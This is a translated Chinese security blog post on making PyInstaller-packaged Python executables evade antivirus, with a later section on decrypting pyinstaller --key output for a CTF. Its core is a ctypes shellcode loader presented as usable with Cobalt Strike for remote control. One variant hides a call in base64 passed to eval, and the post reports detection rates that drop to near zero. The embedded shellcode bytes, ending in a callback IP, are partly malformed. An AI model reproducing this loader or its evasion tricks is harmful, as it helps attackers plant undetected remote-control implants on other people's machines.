✎ reading instructions
The technical article of crow security is for reference only. The information provided in this article is only for the network security personnel to detect or maintain their own websites and servers (including but not limited to). Do not use the technical data in this article to invade any computer system without authorization. The user shall be responsible for the direct or indirect consequences and losses caused by using the information provided in this article.
Crow security has the right to modify, delete and explain this article. If you reprint or spread this article, you need to ensure the integrity of the article. It cannot be used for other purposes without authorization.
This article was first published by the prophet, which has a long time span. Full text: 11720 words, 110 pictures, the reading time is expected to be 30 minutes.
https://xz.aliyun.com/t/10450
01
Common packaging methods for Python 3
Note: Python in this article is python3, and the packaged library is pyinstaller.
The test time span of this paper is relatively long, and the method in this paper may have failed long ago. Thank you for your understanding.
In the current attack and defense drill, you need to do some free kill by yourself in many cases. Here, this paper takes the handy python language as an example to learn the things of python free kill.
Python 3 programs are packaged as exe files. At present, the mainstream methods are roughly divided into the following:
Among them, pyinstaller can directly package py files into an exe, and the effect is relatively good. The other two packaged files are fragmented.
As we all know, the file volume packed by python is relatively large, and it is easy to be killed and identified by soft detection. Even some manufacturers will directly pull any file packed by pyinstaller to report poison. Therefore, pyinstaller and py2exe are discussed here to package exe files. (the tests in this article are only for this test and do not represent the test capabilities of other scenarios.)
02
File packaging test
2.1 pyinstaller packaging test
2.1.1 simple printout
A script is written here, which is a simple printout (test time: 2021 / 05 / 02):
# -*- encoding: utf-8 -*- # Time : 2021/05/02 10:14:44 # Author: crow import os import time while 1: print('hello crow') time.sleep(2)
Use pyinstaller for packaging. You only need to use pip3 install pyinstaller to install pyinstaller.
When packaging, you only need to use pyinstaller -F file name. py.
360 local scanning (the machine is networked, but 360 cloud killing is not used, test time: 2021 / 05 / 02)
It can operate normally.
Tinder scanning (networking, test time: 2021 / 05 / 02)
windows defender is static and normal. Double click it to run, but you will be prompted whether to upload the file to cloud analysis (test time: 2021 / 05 / 02):
Test after uploading virustotal: (test time: 2021 / 05 / 02)
https://www.virustotal.com/gui/file/c644369f2a8bca67d3a1fa755847a21a35d8339e186393cb4ca36b599c67ffbf/detection
The killing rate is 7 / 68, which is very outrageous, because it is just an ordinary packaged file.
2.1.2 file processing
The following script is mainly an auxiliary script written by yourself when testing DLL hijacking in the past. The content is probably to judge the suffix of DLL file, then extract the DLL suffix file, create a new file and save it.
# -*- encoding: utf-8 -*- import re path = 'D_Safe_Manage.exe.txt' new_path = path[:-4] + '_dll.txt' # print(new_path[:-4]) dlls = [] with open(path, 'r') as f: for line in f.readlines(): # print(line) dll_name = re.findall(r'C:\\Windows\\SysWOW64(.*?).dll', line) # print(dll_name) if dll_name != []: dll_names = 'C:\Windows\SysWOW64' + str(dll_name[0]) + '.dll' # print(dll_names) dlls.append(dll_names) with open(new_path, 'w') as f: for dll in dlls: f.write(dll + '\n')
After the file is packaged, 360, tinder and Windows Defender report poison. (test time: April 29, 2021)
The 360 here uses local antivirus.
Since exe is killed, what if it's just a py file?
Under test:
Tinder:
windows defender did not report poison.
360 is insensitive to python scripts. Tinder and df will detect py, which indicates that some features of the files packaged by pyinstaller may trigger relevant detection rules, and their features have been incorporated into virus features by some av, just like exe programs packaged in easy language will be killed.
exe file after vt test package:
https://www.virustotal.com/gui/file/0b418052f4ac12c80a7a6a140818d317513a5442fed700b4e67ebee58079f9b6/detection
Poison report 56 / 69, very outrageous....
2.2 py2exe packaging test
2.2.1 py2exe installation
Directly use pip3 install py2exe. My local environment is Python 3.6.5 64 bit
2.2.2 py2exe packaging test
At this time, package and test an ordinary file_ Py2.py (test time: June 16, 2021)
The script output is just a hello world
# -*- encoding: utf-8 -*- # Time : 2021/04/29 09:17:37 # Author: crow while True: print('hello world')
Then set up a file setup.py
# -*- encoding:utf-8 -*- from distutils.core import setup import py2exe INCLUDES = [] options = { "py2exe" : { "compressed" : 1, # compress "optimize" : 2, "bundle_files" : 1, # All files are packaged into an exe file "includes" : INCLUDES, "dll_excludes" : ["MSVCR100.dll"] } } setup( options=options, description = "this is a py2exe test", zipfile=None, console = [{"script":'test_py2.py'}])
Package Python setup directly_ 2.py py2exe
A test will be generated under the dist folder_ Py2.exe file.
After direct operation, only a hello world will be output. There is no need to check and kill locally. Upload vt directly for testing:
VT killing
https://www.virustotal.com/gui/file/84c6f02880ec8c959a5bf20e65ca69c1c293b4329c8206cf2f506b394342bfb8
The killing rate is 6 / 69, which is also very outrageous...
It can be seen that the EXE file packaged by py2exe has also been marked. python packaging is really a dead end.
2.3 summary of packaged documents
The file packaged by py2exe is not a simple EXE file. It cannot be completed directly by an EXE like pyinstaller. The file must be placed in the dist folder and needs to be imported from a third party before it can be executed. Pyinstaller is a better preferred method, so future research will use pyinstaller for packaging.
From the second section, we can see that both pyinstaller and py2exe are more or less killed by some soft marks when packaged as exe, but this does not mean that python has no way to avoid killing. Next, we use other ideas to study how to reverse the files packaged with pyinstaller and pyinstaller.
This paper will not discuss the methods of deserialization, separation and killing free, shelling and so on. Here, only the simplest shellcode loading method is analyzed. I hope this paper can be helpful to the masters.
03
Pyinstaller -F parameter decompile
Note: the decompilation of exe file here refers to decompilating the files packaged by pyinsteller.
3.1 test environment
Operating system: windows 10
python version: python 3.8.7
Hex Editor: 010 editor
exe decompile tool: pyinstxtracker.py
pyc decompiler: uncompyle6
3.2 the pyinstaller packaging program is exe
First write a simple Python 3 script
01_easy.py
# -*- encoding: utf-8 -*- # Time : 2021/06/17 10:45:45 # Author: crow import time while 1: print('hello world') time.sleep(1)
Then package the program as an exe file using pyinstaller
pyinstaller -F 01_easy.py
The parameter - F is to package the program as an exe file without generating other files
After packaging, a dist folder will be generated locally, in which there is a packaged exe file.
Try running:
At this time, the program runs normally, and the parsing is decompilation.
3.3 Decompilation_ pyc
Decompile tool for exe packaged for pyinstaller: pyinstxtracker.py
pyinstaller extractor can extract the exe file created by pyinstaller in pyc format.
Download link:
https://sourceforge.net/projects/pyinstallerextractor/
Put the decompiled exe and pyinstxtracker.py in the same directory and run them directly
python pyinstxtractor.py 01_easy.exe
After successful decryption, a xxx.exe will be generated_ Extracted folder.
3.4 pyc to source code
pyinstaller will clear the first 8 bytes of the pyc file when packaging, so you need to add them later. The first four bytes are the python compiled version, and the last four bytes are the timestamp. (four byte magic number, four byte timestamp)
So here you can get the information from the struct file and add it to 01_ Go to the easy file
Therefore, the two files are copied separately here, and the files can be viewed through the hexadecimal viewing tool. winhex can be used under Windows system and 010 editor can be used under mac system
Through comparison, it can be found that struct is better than 01_easy has 8 more bytes (here is just a rough explanation. The specific reason is certainly not obvious. Interested masters can turn to the source code).
Therefore, these bytes can be copied and inserted into 01 here_ Go in easy.
A new file is created here to combine the two:
Then save the file as 01_easy.pyc
After getting the pyc file, it is easier to go to the source code. There are two methods: Online decompilation and uncompyle6
The online decompilation address is: https://tool.lu/pyc
Online decompilation effect:
You can see that this effect is not very good, and some of the code has not been successfully compiled.
Try uncompyle6. At present, you can use pip to install pip3 install uncompyle6 on Python 3
Then use the command uncompyle6 01 directly_ easy.pyc
You can save the contents of a file into a text
uncompyle6 01_easy.pyc > 01_easy.py
After opening:
Get the source code here.
04
-F -- decompile key parameter
When using pyinstaller, you can use the -- key parameter to encrypt the generated exe. When using this parameter, you need the pycrypto library. You can install it through pip, but there will be some problems during incomplete installation. I won't explain it here and use it directly.
4.1 shellcode in Python
What is shellcode?
In the attack, shellcode is a payload used to exploit software vulnerabilities. Shellcode is a hexadecimal machine code, which is named because it often allows attackers to obtain shells. Shellcode is often written in machine language. After the register eip overflows, a shellcode machine code that can be executed by the CPU can be put in, so that the computer can execute arbitrary instructions of the attacker.
The following code is the most basic version of shellcode. It can be used with Cobalt Strike to realize remote control.
# -*- encoding: utf-8 -*- # Time : 2021/04/29 11:19:04 # Author: crow import ctypes shellcode = b"" shellcode += b"\x\" shellcode = bytearray(shellcode) # Set the return type of VirtualAlloc to ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # Request memory ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # Put in shellcode buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)) ) # Create a thread to execute from the first address of the shellcode location handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) # Wait for the thread created above to finish running ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
Here, the following parameters are directly used for encryption confusion:
pyinstaller -F --key crow123321 --noconsole py_shellcode.py
The characters after -- key can be customized.
4.2 -- decompile key parameter
Similarly, put the two files together and reverse to get the pyc file
python pyinstxtractor.py py_shellcode.exe
Start to report an error, but you can still generate the corresponding folder:
Here we use the same method to test the two files, and save the newly generated file as shellcode_key.pyc
uncompyle6 shellcode_key.pyc
Redirect the file to the py file
After opening, it is found that the effect of the file and the unused -- key parameter is basically unchanged.
--The key parameter only encrypts the dependent library.
05
Use the key parameter correctly
Correctly use the -- key parameter to encrypt and avoid killing (test time: 2021.06.17)
Generally speaking, the exe packaged in python can be cracked. Even if it is written in python, it can still be cracked. It is only a matter of time, but some slightly effective methods are proposed here (self deception).
5.1 do not use -- key parameter
Encapsulate all the code into a function and reference it in a new file, where PY_ shellcode_ The contents of the file in fuzz.py remain unchanged, but it is encapsulated as a function, which is called by test.py
py_shellcode_fuzz.py:
# -*- encoding: utf-8 -*- # Time : 2021/06/17 17:12:27 # Author: crow import ctypes,base64 def shell(): shellcode = b"" shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\d2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x21\x03\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x32\x31\x31\x2e\x35\x35\x2e\x32\x00\x00\x00\x00\x00" shellcode = bytearray(shellcode) # Set the return type of VirtualAlloc to ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # Request memory ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # Put in shellcode buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) string = """Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp""" eval(base64.b64decode(string)) # Create a thread to execute from the first address of the shellcode location handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) # Wait for the thread created above to finish running ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1)) if __name__ == '__main__': shell()
test.py
# -*- encoding: utf-8 -*- # Time : 2021/06/17 17:00:27 # Author: crow import ctypes from py_shellcode import shell if __name__ == '__main__': shell()
Execute the script directly:
python py_shellcode_fuzz.py
The online operation is normal. Use test.py to call this file
python test.py goes online normally
Then package the file
First, use pyinstaller to package directly
pyinstaller -F --noconsole test.py
Try to get the pyc file directly under the dist folder
python pyinstxtractor.py test.exe
Take out the two files separately and repeat the same operation
uncompyle6 get.pyc
Save the file
You can't find py here_ shell_ The content in fuzzy, where is the file?
We will decompile pyz-00.pyz_ The pyc file was found in the extracted folder.
Decrypt the pyc file directly
uncompyle6 py_shellcode_fuzz.pyc
An error is reported. Here, use 010 editor to analyze the pyc file
Compared with get.pyc, it is found that there are 4 bytes missing here, so it needs to be completed:
Save the file as new_py_shell.pyc
Then decrypt it
uncompyle6 new_py_shell.pyc
Save the file again
uncompyle6 new_py_shell.pyc > new_shell.py
The file is now fully decrypted
At this point, the file will be checked and killed using VT
VT killing
https://www.virustotal.com/gui/file-analysis/MWM3N2M3NmExNjhlZmZkMDNmZDZkMTY2MzU1YWZjMzI6MTYyMzk0MTQwMQ==/detection
5.2 pyinstaller packages exe with -- key parameter
In the above, the -- key parameter in pyinstaller can encrypt the dependent libraries. Therefore, try to repackage it with the -- key parameter here:
pyinstaller -F --key crowcrow --noconsole test.py
Try to get the pyc file directly under the dist folder
python pyinstxtractor.py test.exe
Here is the failure of failure, the success of success!
In the same way, decrypt the file with the arrow below:
Get the file final.pyc
uncompyle6 final.pyc
Here is the same as the one above. It shows from py_ shellcode_ The shell function is called in fuzz. Then go to the same place to find py_ shellcode_ Fuzzy.pyc file.
But you can see py here_ shellcode_ Fuzzy.pyc has been encrypted to py_ shellcode_ Fuzzy.pyc.encrypted file format.
Open the file with 010 editor. Through comparison, it is found that the file has been encrypted and cannot be decrypted with uncompyle6. Of course, the file can still be decrypted, but the decryption cost is higher than the current method.
Double click the original file to test:
It can still be online (test time: June 17, 2021).
No kill effect: Windows defender can pass. (test time: June 17, 2021)
VT killing: (test time: June 17, 2021)
https://www.virustotal.com/gui/file/c2b081a565dbd4848eff43a9bae0da4da5cd8945f12b053470484cdb2df838fc/detection
2021.10.29 view: (no killing g)
5.3 summary
As can be seen from the above articles, writing the shellcode loader to a file and then calling it with another script can avoid killing to a certain extent (this method gradually fails over time), but the -- key parameter is encrypted py_ shellcode_ Can't the fuzzy.pyc.encrypted file be untied?
Theoretically, this file can be understood as a file encrypted by blackmail virus. If the key is complex enough, it is still very difficult to restore the file. However, the author of pyinstaller does not write the file dead, and the file can still be restored.
06
Add key parameter reverse source code
Here, I was lucky to have two simple python reverse questions in a competition. One is that players need to reverse the exe packaged in python. The specific process is as follows: (the competition questions are not shown here, but directly reverse)
6.1 background introduction
A file packaged with the pyinstaller --key -F parameter is used here.
6.2 unpacking on the first floor
Reverse code using pyinstxtracker.py.
Here you can see that a lot of code is confused and cannot be decrypted directly.
In this folder, you can see the file with key and open it with notepad.
The key here is 17 000000 guess_ Flag where N does not belong to the key value.
Here, the script is used to decrypt the encrypted file. If the key parameter is not used, the file is unencrypted.
Use scripts to decrypt.
#from key import key import tinyaes key = "000000guess_flag" print (key) f = open('./guess.pyc.encrypted', 'rb') data = f.read() cipher = tinyaes.AES(key.encode(), data[:16]) output = cipher.CTR_xcrypt_buffer(data[16:]) f.close() import zlib output = zlib.decompress(output) f = open('./guess.pyc', 'wb') f.write(output)
Then copy the file and struct file for processing
Copy the first line of the struct file, and then copy guess_ All the information of PyC file into a new file.
6.3 uncompyle6 reverse pyc file
uncompyle6 reverse.pyc > code1013.py
The source code is now available.
07
Summary
This paper mainly makes a super simple reverse analysis of the files packaged by pyinstaller. Here are some small tips that are free from killing. Many materials are also referred to. There are many mistakes. I hope you can criticize and correct them.
08
reference material
https://zhuanlan.zhihu.com/p/133303836 https://blog.csdn.net/lzy98/article/details/83246281 https://blog.csdn.net/qwemicheal/article/details/52864656 https://s0uthwood.github.io/2021/06/22/CISCN-N-2021-RE-Writeup/